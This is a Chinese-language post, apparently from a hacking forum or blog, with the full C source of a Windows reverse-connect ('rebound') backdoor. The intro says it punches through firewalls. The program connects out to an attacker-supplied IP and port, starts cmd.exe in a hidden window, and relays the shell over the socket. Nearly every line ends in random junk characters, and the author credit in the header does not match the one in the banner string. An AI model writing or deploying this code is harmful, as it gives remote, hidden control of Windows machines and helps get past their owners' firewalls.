这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sw}O g`U
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/* ============================== aR6F%7gvz
Rebound port in Windows NT ^D+^~>f
By wind,2006/7 B%uY/Mwz$
===============================*/ k*)sz
#include YhV<.2^k
#include T4wk$R
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#pragma comment(lib,"wsock32.lib") ':;k<(<-
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void OutputShell(); m=l'9j"D
SOCKET sClient; M\4`S&
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @~$"&B
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void main(int argc,char **argv) O%kUj&h^
{ }ww/e\|Nt=
WSADATA stWsaData; Bz_'>6w
int nRet; V($V8P/
SOCKADDR_IN stSaiClient,stSaiServer; KWY_eY_|
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if(argc != 3) 0)Ephsw
{ !Nx1I
printf("Useage:\n\rRebound DestIP DestPort\n"); SC~k4&xy
return; HQ-++;Q
} ~>(~2083*;
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,9bnR;f\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^C'0Y.H S
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stSaiClient.sin_family = AF_INET; 1V1I[CxlX
stSaiClient.sin_port = htons(0); 70 7( LG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o p9dYjG7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [-$
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{ WuUwd#e
printf("Bind Socket Failed!\n"); uRko[W(
return; 1`7zYW&L
} "QdK
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stSaiServer.sin_family = AF_INET; cp(qaa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \PE;R.v_:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HCN/|z1Xq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ll|_Wd.K,
{ `?Q
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printf("Connect Error!"); (|^m9v0:
return; QKj0~ia
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} HGGq;Nbm
OutputShell(); `RnWh9
} Gf\h7)T\
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void OutputShell() p5#x7*xR6
{ 0h@FHw2d
char szBuff[1024]; *[]E5U
SECURITY_ATTRIBUTES stSecurityAttributes; X-HE9PT.
OSVERSIONINFO stOsversionInfo; k B>F(^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AChz}N$C
STARTUPINFO stStartupInfo; |2q3spd
char *szShell; A0)^I:&
PROCESS_INFORMATION stProcessInformation; f zo'9
unsigned long lBytesRead; h )
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jCJcVO>OZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J |q(HpB
stSecurityAttributes.lpSecurityDescriptor = 0; #; ?3kuq(
stSecurityAttributes.bInheritHandle = TRUE; xrkl)7;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); GkJcd;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Zl5'%b$&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )JS6W
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >-A@6Qe_
stStartupInfo.wShowWindow = SW_HIDE; f(5(V
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stStartupInfo.hStdInput = hReadPipe; lDYgtUKG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F]3Y,{/V
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GetVersionEx(&stOsversionInfo); yQ2=d5'V`
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switch(stOsversionInfo.dwPlatformId) )Zr9
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{
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case 1: '{d@Gc6.
szShell = "command.com"; B'}?cG]
break; p)IL(_X)
default: y>a?<*Y+e
szShell = "cmd.exe"; y'_8b=*
break; Ym6d'd<9(
} {.:$F3T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y b+A{`
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send(sClient,szMsg,77,0); 8?+|4:#=*J
while(1) GDxv2^4
{ IO+]^nY`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $,4h\>1WP
if(lBytesRead) iQ/~?'PB
{ PE%$g\#?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sAkr-x?+M
send(sClient,szBuff,lBytesRead,0); ;Q;j@yx
} 3$\k=q3`#
else D4=*yP
{ n"(!v7YNp
lBytesRead=recv(sClient,szBuff,1024,0); ote,`h
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r`O
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} ukWn@q*
} Mkz_.;3
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return; Zl9@E;|=
}